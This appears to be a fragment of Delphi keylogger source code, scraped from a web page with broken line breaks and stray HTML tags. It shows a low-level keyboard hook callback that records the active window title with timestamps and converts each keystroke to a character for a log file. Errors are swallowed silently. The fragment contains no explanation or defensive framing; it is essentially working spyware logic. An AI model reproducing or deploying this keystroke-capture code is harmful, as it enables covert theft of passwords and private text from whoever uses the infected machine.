try
Wnd:= GetForegroundWindow;
GetWindowText(WND, wtext, Length(wtext)-
1
);
if
wtext<>PrevWindowName
then
WriteLogLN(FormatDateTime(
'dd/mm/yyyy hh:nn:ss'
, Date+Time)+
'###ACTIVATE==='
+wtext+
'+++'
+
'@@@'
);
PrevWindowName:=wtext;
<b>
if
(Code=HC_ACTION)
and
(wParam=WM_KEYUP)
then
begin
LKBDLLHOOKSTRUCT := PKeyboardLowLevelHookStruct(lParam);
GetKeyboardState(KeyState);
New(KeyName);
ToAsciiEx(LKBDLLHOOKSTRUCT
.
vkCode,
0
, KeyState, KeyName,
0
, GetKeyboardLayout(
0
));
WriteLog(KeyName[
0
]);
if
LKBDLLHOOKSTRUCT
.
vkCode=VK_RETURN
then
WriteLogLNLittle(
''
);
end
;</b>
Result:= CallNextHookEx(MSGHook, Code, wParam, lParam);
except
end
;